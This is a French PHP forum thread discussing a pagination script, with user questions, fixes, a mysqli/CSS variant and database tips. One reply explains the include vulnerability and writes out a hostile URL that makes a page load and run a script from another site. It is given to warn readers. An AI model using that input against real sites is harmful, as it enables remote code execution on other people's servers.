NUMÉROS DE PAGE

Messages postés
80
Date d'inscription
dimanche 23 février 2003
Statut
Membre
Dernière intervention
16 juin 2008
- - Dernière réponse : VestaX
Messages postés
376
Date d'inscription
mardi 2 décembre 2003
Statut
Membre
Dernière intervention
24 avril 2013
- 8 avril 2013 à 14:03
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.

https://codes-sources.commentcamarche.net/source/24067-numeros-de-page

VestaX
Messages postés
376
Date d'inscription
mardi 2 décembre 2003
Statut
Membre
Dernière intervention
24 avril 2013
-
Salut,

j'arrive un peu tard :p

Excellent mais cependant il y a un petit problème. Exemple, j'ai 8 pages en tout, et quand j'arrive à la 8eme page, ça continue de paginer à la 9eme, 10eme etc.. et bien entendu la 9eme, 10eme etc.. sont vides.

Ca aurait été bien de pouvoir mettre un système de blocage quand ça arrive à la fin.
260686
Messages postés
1
Date d'inscription
mercredi 4 juin 2008
Statut
Membre
Dernière intervention
27 juillet 2010
-
Waoww
Merci coockiesch,
Juste une petite information : en pgsql on change
"SELECT * FROM table LIMIT $start, $nb_results_p_page"
en
"SELECT * FROM table LIMIT $nb_results_p_page OFFSET $start"
cdie
Messages postés
31
Date d'inscription
jeudi 3 décembre 2009
Statut
Membre
Dernière intervention
12 février 2012
2 -
Nikel, exactement ce que je cherchais ! Merci :)
staykool
Messages postés
1
Date d'inscription
mercredi 30 août 2006
Statut
Membre
Dernière intervention
16 mai 2007
-
electroweb, est-ce que tu as mis le code dans une classe finalement?

Moi j'ai ajouter un peu de style sur l'affichage et j'utilise aussi mysqli au lieu de mysql... Je vous en fait donc part! j'espère que tout sera beau... c'est la première fois que je répond à un commentaire! :o))

$nb_results_p_page = 1; // nombre de résultats par page
$nb_avant = 3; // nombre de page avant la page courante
$nb_apres = 3; // nombre de page après la page courante
$premiere = 1; // aficher le lien "première page" (1 ou 0)
$derniere = 1; // afficher le lien "dernière page" (1 ou 0)
$courant = empty($_GET['page']) ? 1 : $_GET['page']; // page
$start = ($courant - 1) * $nb_results_p_page; // start (requete mysql)

// comptage du nombre de lignes de la base
$sqlSelectUser = "SELECT count(id_user) FROM user";
$resSelectUser = $mysqli->query($sqlSelectUser);
$nb_user = $resSelectUser->fetch_array();

// nombre de lignes
$nb_results = $nb_user[0];

// nombre total de pages
$nb_pages = ceil($nb_results / $nb_results_p_page);

// nombre de pages avant
$avant = $courant > ($nb_avant + 1) ? $nb_avant : $courant - 1;

// nombre de pages après
$apres = $courant <= $nb_pages - $nb_apres ? $nb_apres : $nb_pages - $courant;

echo '

';

// première page
if($premiere && $courant > 1)
echo '<li>[' . $_SERVER['SCRIPT_NAME'] . ' Première] </li>';
else
echo '<li class="disablepage">Première</li>';

// page précédente
if($courant > 1)
echo '<li>[' . $_SERVER['SCRIPT_NAME'] . '?page=' . ($courant - 1) . ' Précédente] </li>';
else
echo '<li class="disablepage">Précédente</li>';

// affichage des numéros de page
for($i = $courant - $avant; $i <= $courant + $apres; $i++)
{

// page courante
if($i == $courant)
echo '<li class="currentpage">' . $i . '</li>';
else
echo '<li>[' . $_SERVER['SCRIPT_NAME'] . '?page=' . $i . ' ' . $i . '] </li>';
}

// page suivante
if($courant < $nb_pages)
echo '<li>[' . $_SERVER['SCRIPT_NAME'] . '?page=' . ($courant + 1) . ' Suivante] </li>';
else
echo '<li class="disablepage">Suivante</li>';

if($derniere && ($courant < $nb_pages))
echo '<li>[' . $_SERVER['SCRIPT_NAME'] . '?page=' . $nb_pages . ' Dernière] </li>';
else
echo '<li class="disablepage">Dernière</li>';

echo '


Page '.$courant.' sur '.$nb_pages.'
';

===============
CSS
===============

.pagination {padding: 2px;}
.pagination ul {margin: 0; padding: 0; text-align: left; font-size: 16px;}
.pagination li {list-style-type: none; display: inline; padding-bottom: 1px;}
.pagination a, .pagination a:visited {padding: 0 5px; border: 1px solid rgb(0,51,102); text-decoration: none; color: #2e6ab1;}
.pagination a:hover, .pagination a:active {border: 1px solid #2b66a5; color: #000; background-color: lightblue;}
.pagination li.currentpage {font-weight: bold; padding: 0 5px; border: 1px solid navy; background-color: rgb(0,51,102); color: #FFF;}
.pagination li.disablepage {padding: 0 5px; border: 1px solid rgb(145,145,145); color: #929292;}
.pagination li.currentpage, .pagination li.disablepage { /*IE 6 and below. Adjust non linked LIs slightly to account for bugs*/ margin-right: 5px; padding-right: 5px;}
coockiesch
Messages postés
2268
Date d'inscription
mercredi 27 novembre 2002
Statut
Membre
Dernière intervention
13 septembre 2013
3 -
Salut!
Que la pagination... :-)

C'est à toi de faire l'affichage de tes données! Je l'air pas fait car c'était pas le but de la source et ça change trop d'un cas à l'autre...

@++

R@f
poiutyh
Messages postés
3
Date d'inscription
mercredi 5 octobre 2005
Statut
Membre
Dernière intervention
13 octobre 2006
-
euh d'accord j'ai a peu près compris le script mais si je colle ca cela ne m'affiche que la pagination ??

Ou se passe l'affichage des données de la tables ?
stef1589
Messages postés
44
Date d'inscription
dimanche 19 mars 2006
Statut
Membre
Dernière intervention
27 mars 2008
-
super! ca m a beaucoup servi, merci
coockiesch
Messages postés
2268
Date d'inscription
mercredi 27 novembre 2002
Statut
Membre
Dernière intervention
13 septembre 2013
3 -
Salut!
Oui, en effet, je pense que ton idée est très bien! :)
( de même que la requête de recherche peut être stockée en session en ajoutant juste le LIMIT à chaque fois )

@++

R@f
cs_YeahYeahYeahs
Messages postés
13
Date d'inscription
lundi 28 juin 2004
Statut
Membre
Dernière intervention
22 juin 2005
-
Salut, j'ai cogité un moment sur ta très bonne source (merci).
Le problème c'est la double requête sur chaque page...(ça m'ennuie). De plus,ça m'arrange pas car je pense faire une recherche via un formulaire methode post.

Que penses-tu de l'utilisation de variables de sessions pour stocker le résultat du count et le mot-clé recherché?

Sinon il y a la soluce d'Anthomicro mais ça demande un remaniement complet de la bdd.
coockiesch
Messages postés
2268
Date d'inscription
mercredi 27 novembre 2002
Statut
Membre
Dernière intervention
13 septembre 2013
3 -
Et ben voilà un pb résolu sans moi, :) :D

@++

R@f
cs_villou
Messages postés
2
Date d'inscription
vendredi 21 novembre 2003
Statut
Membre
Dernière intervention
17 mars 2006
-
Je viens de comprendre qu'il faut mettre le ORDER BY avant LIMIT...

Donc a la place de

// exemple de requete
$result = mysql_query("SELECT * FROM table LIMIT $start, $nb_results_p_page");

il faut mettre

// exemple de requete
$result = mysql_query("SELECT * FROM table order by ID desc LIMIT $start, $nb_results_p_page");
cs_villou
Messages postés
2
Date d'inscription
vendredi 21 novembre 2003
Statut
Membre
Dernière intervention
17 mars 2006
-
Bonsoir !

Vraiment bien ce code, mais j'ai tout de même une petite question. Je suis débutant en php et j'aimerai savoir comment je pourrais faire pour afficher, à l'aide de ce script, les news en sens inverse. Donc le plus grand ID est affiché à la page 1...

Merci pour votre aide !
bebebof
Messages postés
9
Date d'inscription
mercredi 19 novembre 2003
Statut
Membre
Dernière intervention
15 mars 2006
-
Bonsoir !

Un grand bravo à cookiesch pour la rapidité avec laquelle il a résolu mon problème avec ce script !

super sympa !
un excellent script !
A++
coockiesch
Messages postés
2268
Date d'inscription
mercredi 27 novembre 2002
Statut
Membre
Dernière intervention
13 septembre 2013
3 -
Hum...
Tu arrives à me montrer comment et où tu as mis mon code?

@++

R@f
bebebof
Messages postés
9
Date d'inscription
mercredi 19 novembre 2003
Statut
Membre
Dernière intervention
15 mars 2006
-
bonjour,

url de la page 2 : mapage.php?page=2

J'ai fais des tests et j'ai remarqué que dans la requete (ligne 22) si l'on met pas de WHERE ca fonctionne, et dès que l'on met un WHERE, la première page est ok puis les pages suivantes sont vides. Est-ce normal ? ou un defaut de mon script ? faites le test, vous verrez.
Merci pour votre aide, ce script est bien et je sais par expérience que le plus gros bug est souvent le developpeur!
Merci pour votre réponse !
coockiesch
Messages postés
2268
Date d'inscription
mercredi 27 novembre 2002
Statut
Membre
Dernière intervention
13 septembre 2013
3 -
Salut!
Quand tu es sur ta page deux, après avoir cliqué, quelle est l'url?
Où as tu mis mon code?

@++

R@f
bebebof
Messages postés
9
Date d'inscription
mercredi 19 novembre 2003
Statut
Membre
Dernière intervention
15 mars 2006
-
bonjour,
pas mal mais j'arrive pas à le faire marcher comme il faut. j'affiche le résultat sur 4 colonnes et 12 par page soit 3 lignes de 4 enregistrements. sur la première page c'est ok, mais dès que je clique sur page 2 j'ai plus rien...
Quelqu'un à une solution ?

Merci !
cs_DyMoN
Messages postés
6
Date d'inscription
lundi 2 mai 2005
Statut
Membre
Dernière intervention
9 juin 2005
-
C'est ce que j'ai fait ,

Si yavait plus souvent des sources bien presentéés et bien explicite comme celle ci sa serait cool.
merci encore..
coockiesch
Messages postés
2268
Date d'inscription
mercredi 27 novembre 2002
Statut
Membre
Dernière intervention
13 septembre 2013
3 -
Salut!
Include n'est pas une fonction dangereuse en soi quand on est sûr de la page qu'elle appelle.
Par exemple: include('pages.php'); n'est pas du tout dangereux...

Mais si tu fais:
include( $_GET['page'] );
Là, c'est dangereux car si quelqu'un appelle ta page comme ceci:
index.php?page=http://www.unautresite.com/script.php
Et ben ca exécutera le script qu'il veut. On appelle ca la faille des includes!

Si tu veux faire un truc genre pseudo frames, tu passes une valeur dans l'url pour page ( genre: news, contacts, livreor ) et selon cette valeur tu inclut la page que tu veux ( via un switch, par exemple ).

Ca répond à ta question?

@++

R@f
cs_DyMoN
Messages postés
6
Date d'inscription
lundi 2 mai 2005
Statut
Membre
Dernière intervention
9 juin 2005
-
C bon j'ai reussi à l'integrer
je n'avait pas vu la ligne:

// exemple de requete
$result = mysql_query("SELECT * FROM table LIMIT $start, $nb_results_p_page");

C'est ce qui posé probleme avec ma requete.

Merci pour ton code tres bien presenté et qui m'aide enormement.

Derniere question:
J'ai mis ce bout de con dans un fichier
et je l'ai inclu dans ma page avec la fonction include();

J'ai entendu parlé que cette fonction etait dangereuse.
Y'a til une autre façon d'apeller cette page ?

Je c'est que sa sort du contexte mais bon..

Encore merci
cs_DyMoN
Messages postés
6
Date d'inscription
lundi 2 mai 2005
Statut
Membre
Dernière intervention
9 juin 2005
-
Ceci est trés bien détaillé c'est exactement ce qu'il me faut mais le probleme est que :
Comment l'integrer a ma page ?

Je l'ai integre cela apparait parfaitement mais pas le resultat.

a quel endroit placer ce code avant laffichage de mon tableau?

Je suis bloqué mercide m'aider.
petitstitch
Messages postés
4
Date d'inscription
dimanche 22 février 2009
Statut
Membre
Dernière intervention
22 février 2009
-
Excellent !!! ;o)
cs_irus
Messages postés
4
Date d'inscription
vendredi 23 avril 2004
Statut
Membre
Dernière intervention
26 octobre 2005
-
Merci pour ton code tres simple bien explique et efficace @+
cs_irus
Messages postés
4
Date d'inscription
vendredi 23 avril 2004
Statut
Membre
Dernière intervention
26 octobre 2005
-
Merci pour ton code tres simple bien explique et efficace @+
cs_critou
Messages postés
4
Date d'inscription
mercredi 28 septembre 2005
Statut
Membre
Dernière intervention
6 janvier 2006
-
J'ai un script ListePhotos.php qui affiche sous forme de tableau des champs d'une base de données et j'aimerais afficher ce tableau sur plusieurs pages. Par exemple tout les 5 enregistrement je change de page.
cs_BeCaSiNe
Messages postés
80
Date d'inscription
dimanche 23 février 2003
Statut
Membre
Dernière intervention
16 juin 2008
-
Bah explique nous t'es requete !

Ca va beaucoup aider !
cs_critou
Messages postés
4
Date d'inscription
mercredi 28 septembre 2005
Statut
Membre
Dernière intervention
6 janvier 2006
-
Comment puis-je lier mon script avec celui là ou où faut-il que je l'intègre?

Merci d'avance
cs_BeCaSiNe
Messages postés
80
Date d'inscription
dimanche 23 février 2003
Statut
Membre
Dernière intervention
16 juin 2008
-
$_SERVER['SCRIPT_NAME'] c'est le nom de la page en cour
cs_critou
Messages postés
4
Date d'inscription
mercredi 28 septembre 2005
Statut
Membre
Dernière intervention
6 janvier 2006
-
Bonjour,

Juste une petie question de à quoi fait référence $_SERVER['SCRIPT_NAME']?

Ton script marche très bien merci beacoup mais je n'arrive pas à l'intégrer dans mon script existant.

Merci de ta réponse

Critou
electroweb
Messages postés
9
Date d'inscription
jeudi 23 janvier 2003
Statut
Membre
Dernière intervention
29 avril 2009
1 -
Merci pour ce script. Il est propre et agréable à lire. Je suis en train de le mettre dans une classe.

Bravo et bonne continuation.
coockiesch
Messages postés
2268
Date d'inscription
mercredi 27 novembre 2002
Statut
Membre
Dernière intervention
13 septembre 2013
3 -
:) Oki doki, merci pr les infos!

@++

R@f
cs_Anthomicro
Messages postés
9433
Date d'inscription
mardi 9 octobre 2001
Statut
Membre
Dernière intervention
13 avril 2007
8 -
En fait c'est un champ qui sera toujours incrémenté inversement par rapport à l'autoincrément normal (pour que les messages les plus récents remontent et soient affichés en premiers). Lorsque je supprime un message portant l'id_class 2 par exemple, je supprime un id unique, il y aura donc un trou dans la table. Pour pallier à ça j'update tous les id_class supérieurs à 2 et je les décrémente de 1, et hop plus de trou dans le champ id_class vu que je me sers de ce champ uniquement pour classer mes données et les récupérer. Je me sers juste de l'id unique pour identifier les topics c'est tout.
coockiesch
Messages postés
2268
Date d'inscription
mercredi 27 novembre 2002
Statut
Membre
Dernière intervention
13 septembre 2013
3 -
Dsl d'ête lourd (lol) mais je pige pas torp comment tu gère ce deuxième champ...

@++

R@f
cs_Anthomicro
Messages postés
9433
Date d'inscription
mardi 9 octobre 2001
Statut
Membre
Dernière intervention
13 avril 2007
8 -
non, d'où le deuxième champ id_class, et plus de problème.
coockiesch
Messages postés
2268
Date d'inscription
mercredi 27 novembre 2002
Statut
Membre
Dernière intervention
13 septembre 2013
3 -
Salut!
Vi, mais par contre, ca pose pb dès que tu supprimes un truc parce parlà...

@++

R@f
cs_Anthomicro
Messages postés
9433
Date d'inscription
mardi 9 octobre 2001
Statut
Membre
Dernière intervention
13 avril 2007
8 -
un exemple (je vais prendre celui de mon forum)

tu as une table avec des id autoincrémentés (vu que les topics ont chacun un ID unique), j'ai rajouté un champ "id_class" qui lui est dans le sens inverse de l'id, ce qui évite de trier la table en ID DESC, mais en id_class ASC (bref je change pas ça). Ensuite quand j'ai besoin de la page 1 bah je fais ça par exemple :

SELECT machin,truc FROM table WHERE id_class BETWEEN 0 AND 20 (avec 20 enregistrements par page)

tu mets un index sur le champ id_class et t'as un forum qui ira aussi vite que t'ai 1000 ou 100000 enregistrements (enfin presque mais on se comprend, tandis qu'avec LIMIT plus t'auras d'enregistrements et plus ce sera lent).
coockiesch
Messages postés
2268
Date d'inscription
mercredi 27 novembre 2002
Statut
Membre
Dernière intervention
13 septembre 2013
3 -
Il faudrait améliorer ca comment?

@++

R@f
cs_Anthomicro
Messages postés
9433
Date d'inscription
mardi 9 octobre 2001
Statut
Membre
Dernière intervention
13 avril 2007
8 -
Salut,

suite à la dernière source en date sur PHPCS pour réaliser ça je suis allé consulter cette source meilleure globalement, mais toujours à base de LIMIT :-( ce qui, sur une table comportant pas mal d'enregistrements, n'est pas bon.
pmthelord
Messages postés
38
Date d'inscription
samedi 4 novembre 2000
Statut
Membre
Dernière intervention
13 novembre 2008
-
Bah ouais c'est cale problème ... avec interbase c'est lourd car les requete du style "SELECT * FROM TABLE limit ..." n'existe pas :s
coockiesch
Messages postés
2268
Date d'inscription
mercredi 27 novembre 2002
Statut
Membre
Dernière intervention
13 septembre 2013
3 -
Salut!
Je comprends pas ce que tu veux faire, l'affichage est là... Tu le veux d'une autre façon?

Je connais pas interbase, dsl...

@++

R@f
pmthelord
Messages postés
38
Date d'inscription
samedi 4 novembre 2000
Statut
Membre
Dernière intervention
13 novembre 2008
-
et comment eske l'on fait pour le melanger avec l'affichage de nos resultat par exemple ???,
paceke la ya ke le nombre de page et pa laffichage ... ms je ne c po ou le mettre ou bien sil faut enregistrer ce code telle une fonction ou bien si on peu l'utiliser direct ds le fichier comme ca ...
merci de me repondre a bientot
pmthelord
Messages postés
38
Date d'inscription
samedi 4 novembre 2000
Statut
Membre
Dernière intervention
13 novembre 2008
-
esque tu pourrai me faire le meme script avec de l'interbase stp ???? :'(
moi je galere tro tro !!!! ca marche nikel en sql ms des ke tu passe avec interbase c la misere !!!!
alor si qqun peu maider se serai cool ;)
cs_kalamya
Messages postés
4
Date d'inscription
mardi 4 février 2003
Statut
Membre
Dernière intervention
1 août 2005
-
Carrément excellent !
Enfin un exemple clair sur la pagination qui fonctionne à merveille. Merci beaucoup !
cs_mfaraday
Messages postés
144
Date d'inscription
vendredi 18 avril 2003
Statut
Membre
Dernière intervention
4 janvier 2010
-
Salut juste une petite question...

Pour afficher la dernière page... j'avais un petit problème que j'air résolu come ça :

if($courant + $apres < $nb_pages && $courant != $nb_pages)

mon problème était que je pouvais pas cliquer sur dernière quand j'étais à la page 8 sur 9...

Florian
cs_pyranhaz
Messages postés
236
Date d'inscription
mardi 13 mai 2003
Statut
Membre
Dernière intervention
13 décembre 2004
-
Encore une job bien fait ;-)

Et comment utile pour mon site de centaine d'items pour ne pas exploser la bande passante inutilement...

Merci infiniement pour ce code à la google :d
coockiesch
Messages postés
2268
Date d'inscription
mercredi 27 novembre 2002
Statut
Membre
Dernière intervention
13 septembre 2013
3 -
Erreur lors du copié collé, je change ca! Merci pr l'info!

@++

R@f
cs_BeCaSiNe
Messages postés
80
Date d'inscription
dimanche 23 février 2003
Statut
Membre
Dernière intervention
16 juin 2008
-
lol
Il y a une faute !!
Ta oublié $ à la preimiere ligne !!
cs_BeCaSiNe
Messages postés
80
Date d'inscription
dimanche 23 février 2003
Statut
Membre
Dernière intervention
16 juin 2008
-
MERCI !!!!